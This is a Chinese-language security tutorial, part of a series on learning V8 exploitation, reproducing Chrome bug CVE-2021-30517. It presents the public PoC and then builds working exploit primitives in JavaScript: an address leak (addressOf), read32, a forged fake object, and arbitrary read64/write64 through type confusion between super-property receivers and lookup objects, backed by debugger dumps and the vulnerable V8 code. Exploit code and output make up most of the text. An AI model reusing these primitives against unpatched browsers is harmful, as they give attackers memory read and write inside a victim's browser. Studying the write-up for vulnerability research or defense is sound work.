作者：Hcamael@知道創宇404實驗室

復現CVE-2021-30517

第五個研究的是CVE-2021-30517，其chrome的bug編號為：1203122

可以很容易找到其相關信息：

受影響的Chrome最高版本為：90.0.4430.93 受影響的V8最高版本為：9.0.257.23

相關PoC：

function main() {
    class C {
        m() {
            super.prototype
        }
    }
    function f() {}
    C.prototype.__proto__ = f

    let c = new C()
    c.x0 = 1
    c.x1 = 1
    c.x2 = 1
    c.x3 = 1
    c.x4 = 0x42424242 / 2

    f.prototype
    c.m()
}
for (let i = 0; i < 0x100; ++i) {
    main()
}

在Chrome的bug信息頁面除了poc外，同時也公布了exp，有需要的可自行下載研究。

搭建環境

一鍵編譯相關環境：

$ ./build.sh 9.0.257.23

套模版

該PoC跟上篇文章的PoC相似度很高，原理也相似，所以可以嘗試上文的堆噴技術來寫該漏洞的EXP，但是該漏洞還存在另一個PoC：

obj = {a:1};
obj_array = [obj];
%DebugPrint(obj_array);
function main() {
    class C {
        m() {
            return super.length;
        }
    }
    f = new String("aaaa");
    C.prototype.__proto__ = f

    let c = new C()
    c.x0 = obj_array;
    f.length;
    return c.m();
}
for (let i = 0; i < 0x100; ++i) {
    r = main()
    if (r != 4) {
        console.log(r);
        break;
    }
}

運行PoC，得到結果：

DebugPrint: 0x322708088a01: [JSArray]
 - map: 0x322708243a41 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x32270820b899 <JSArray[0]>
 - elements: 0x3227080889f5 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x32270804222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x3227080446d1: [String] in ReadOnlySpace: #length: 0x32270818215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3227080889f5 <FixedArray[1]> {
           0: 0x3227080889c9 <Object map = 0x322708247141>
 }

134777333
hex(134777333) = 0x80889f5

最后返回的length等于obj_array變量的elements地址。理解了上文對類型混淆的講解，應該能看懂上述的PoC，該PoC通過String和Array類型混淆，從而泄漏出obj_array變量的elements。根據該邏輯我們來編寫EXP。

泄漏變量地址

obj = {a:1};
obj_array = [obj];
class C {
    constructor() {
        this.x0 = obj_array;
    }
    m() {
        return super.length;
    }
}
let receive = new C();
function trigger1() {   
    lookup_start_object = new String("aaaa");
    C.prototype.__proto__ = lookup_start_object;
    lookup_start_object.length;
    return receive.m()
}
for (let i = 0; i < 140; ++i) {
    trigger1();
}
element = trigger1();

編寫addressOf函數

在上面的基礎上，編寫addressOf函數：

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    receive2.length = (element-0x1)/2;
    low3 = trigger2();
    receive2.length = (element-0x1+0x2)/2;
    hi1 = trigger2();
    res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000);
    return res-1;
}

class B extends Array {
    m() {
        return super.length;
    }
}
let receive2 = new B();
function trigger2() {   
    lookup_start_object = new String("aaaa");
    B.prototype.__proto__ = lookup_start_object;
    lookup_start_object.length;
    return receive2.m()
}
for (let i = 0; i < 140; ++i) {
    trigger2();
}

改addressOf函數與之前的文章中編寫的，稍顯復雜了一些，這里做一些解釋。

receive2的length屬性屬于SMI類型，儲存在內存中的值為偶數，其值除以2，就是真正的SMI的值。

String對象讀取length的路徑為：String->value(String+0xB)->length(*value+0x7)

因為receive2對象通過漏洞被認為了是String對象，所以receive2+0xB的值為receive2.length屬性的值。

所以我們可以通過receive2.length來設置value的值，但是只能設置為偶數，而正確的值應該為奇數，所以這里我們需要讀兩次，然后通過位運算，還原出我們實際需要的值。

編寫read32函數

跟之前的模版不同，該漏洞能讓我們在不構造fake_obj的情況下編寫任意讀函數，為了后續利用更方便，所以該漏洞的EXP我們加入了read32函數：

function read32(addr)
{
    receive2.length = (addr-0x8)/2;
    low3 = trigger2();
    receive2.length = (addr-0x8+0x2)/2;
    hi1 = trigger2();
    res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000);
    return res;
}

原理和addressOf一樣。

編寫read64函數

因為該漏洞的特性，我們這次不需要編寫fakeObject函數，所以接下來我們需要構造fake_obj來編寫read64函數。

多調試一下我們前文使用的PoC，該PoC只能泄漏地址，但是沒辦法讓我們得到一個偽造的對象。但是文章的最開始，Chrome的bug頁面中給的PoC，卻可以讓我們得到一個對象。因為是把函數的prototype對象進行類型混淆。

構造fake_obj的代碼如下所示：

var fake_array = [1.1, 2.2, 3.3, 4.4, 5.5];
var fake_array_addr = addressOf(fake_array);
fake_array_map = read32(fake_array_addr);
fake_array_map_map = read32(fake_array_map-1);
fake_array_ele = read32(fake_array_addr+8) + 8;
fake_array[0] = u2d(fake_array_map, 0);
fake_array[1] = u2d(0x41414141, 0x2);
fake_array[2] = u2d(fake_array_map_map*0x100, fake_array_map_map/0x1000000);
fake_array[3] = 0;
fake_array[4] = u2d(fake_array_ele*0x100, fake_array_ele/0x1000000);

class A extends Array {
    constructor() {
        super();
        this.x1 = 1;
        this.x2 = 2;
        this.x3 = 3;
        this.x4 = (fake_array_ele-1+0x10+2) / 2;
    }
    m() {
        return super.prototype;
    }
}
let receive3 = new A();
function trigger3() {   
    function lookup_start_object(){};
    A.prototype.__proto__ = lookup_start_object;
    lookup_start_object.prototype;
    return receive3.m()
}
for (let i = 0; i < 140; ++i) {
    trigger3();
}
fake_object = trigger3();

通過調試我們可以發現，函數lookup_start_object獲取prototype對象的路徑為：lookup_start_object->function prototype(lookup_start_object+0x1B)，如果該地址的map為表示類型的對象，如下所以：

0x257d08242281: [Map]
 - type: JS_FUNCTION_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map

改對象的特點為：

pwndbg> x/2gx 0x257d08242281-1
0x257d08242280: 0x1408080808042119 0x084017ff19c20423
pwndbg> x/2gx 0x257d00000000+0xC0
0x257d000000c0: 0x0000257d08042119 0x0000257d08042509
pwndbg> job 0x257d08042119
0x257d08042119: [Map] in ReadOnlySpace
 - type: MAP_TYPE
 - instance size: 40
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - non-extensible
 - back pointer: 0x257d080423b5 <undefined>
 - prototype_validity cell: 0
 - instance descriptors (own) #0: 0x257d080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
 - prototype: 0x257d08042235 <null>
 - constructor: 0x257d08042235 <null>
 - dependent code: 0x257d080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

如果lookup_start_object+0x1B執行的地址的map值為0x08242281，則獲取其prototype(+0xF)

在上述的PoC中：fake_array[2] = u2d(fake_array_map_map*0x100, fake_array_map_map/0x1000000);就是在偽造MAP類型的map。

該地址加上0xf：fake_array[4] = u2d(fake_array_ele*0x100, fake_array_ele/0x1000000);，指向了fake_array的開始：

fake_array[0] = u2d(fake_array_map, 0);
fake_array[1] = u2d(0x41414141, 0x2);

而最開始，就是我們偽造的浮點型數組。有了fake_obj之后我們就可以編寫read64函數了：

function read64(addr)
{
    fake_array[1] = u2d(addr - 0x8 + 0x1, 0x2);
    return fake_object[0];
}

編寫write64函數

然后就是write64函數：

function write64(addr, data)
{
    fake_array[1] = u2d(addr - 0x8 + 0x1, 0x2);
    fake_object[0] = itof(data);
}

其他

剩下的工作就是按照慣例，套模板，修改偏移了，這PoC目前我也沒覺得哪里有需要優化的地方。

漏洞簡述

上述偽造fake_obj的邏輯中，v8返回函數的prototype的邏輯如下：

Node* CodeStubAssembler::LoadJSFunctionPrototype(Node* function,
                                                 Label* if_bailout) {
  CSA_ASSERT(this, TaggedIsNotSmi(function));
  CSA_ASSERT(this, IsJSFunction(function));
  CSA_ASSERT(this, IsClearWord32(LoadMapBitField(LoadMap(function)),
                                 1 << Map::kHasNonInstancePrototype));
  Node* proto_or_map =
      LoadObjectField(function, JSFunction::kPrototypeOrInitialMapOffset);
  GotoIf(IsTheHole(proto_or_map), if_bailout);
  VARIABLE(var_result, MachineRepresentation::kTagged, proto_or_map);
  Label done(this, &var_result);
  GotoIfNot(IsMap(proto_or_map), &done);  -> 判斷是否為MAP對象
  var_result.Bind(LoadMapPrototype(proto_or_map)); -> 如果是，則返回其prototype，偏移為0xf
  Goto(&done);
  BIND(&done);
  return var_result.value();
}

該漏洞的原理在Chrome的bug描述頁面也有說明，就是receiver和lookup_start_object搞混了。

下例代碼：

class A extends Array {
    constructor() {
        super();
        this.x1 = 1;
        this.x2 = 2;
        this.x3 = 3;
        this.x4 = (fake_array_ele-1+0x10+2) / 2;
    }
    m() {
        return super.prototype;
    }
}
let receive3 = new A();

其中變量receive3就是receiver，而lookup_start_object為A.prototype.__proto__。

然后就是以下代碼：

Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {
  Handle<Object> receiver = lookup->GetReceiver();
  ReadOnlyRoots roots(isolate());
  // `in` cannot be called on strings, and will always return true for string
  // wrapper length and function prototypes. The latter two cases are given
  // LoadHandler::LoadNativeDataProperty below.
  if (!IsAnyHas() && !lookup->IsElement()) {
    if (receiver->IsString() && *lookup->name() == roots.length_string()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);
      return BUILTIN_CODE(isolate(), LoadIC_StringLength);
    }
    if (receiver->IsStringWrapper() &&
        *lookup->name() == roots.length_string()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);
      return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength);
    }
    // Use specialized code for getting prototype of functions.
    if (receiver->IsJSFunction() &&
        *lookup->name() == roots.prototype_string() &&
        !JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);
      return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype);
    }
  }
  Handle<Map> map = lookup_start_object_map();
  Handle<JSObject> holder;
  bool holder_is_lookup_start_object;
  if (lookup->state() != LookupIterator::JSPROXY) {
    holder = lookup->GetHolder<JSObject>();
    holder_is_lookup_start_object =
        lookup->lookup_start_object().is_identical_to(holder);
  }

當獲取函數的prototype屬性或者字符串對象獲取其length屬性時（也就是super.prototype(super.length)），使用的是receiver而不是A.prototype.__proto__。

上述代碼為ICs的優化代碼，在沒有進行inline cache的情況下，漏洞并不會發生。

參考

https://bugs.chromium.org/p/chromium/issues/detail?id=1203122

Paper 本文由 Seebug Paper 發布，如需轉載請注明來源。本文地址：http://www.bjnorthway.com/1826/

Paper - 安全技術精粹

從 0 開始學 V8 漏洞利用之 CVE-2021-30517（七）

目錄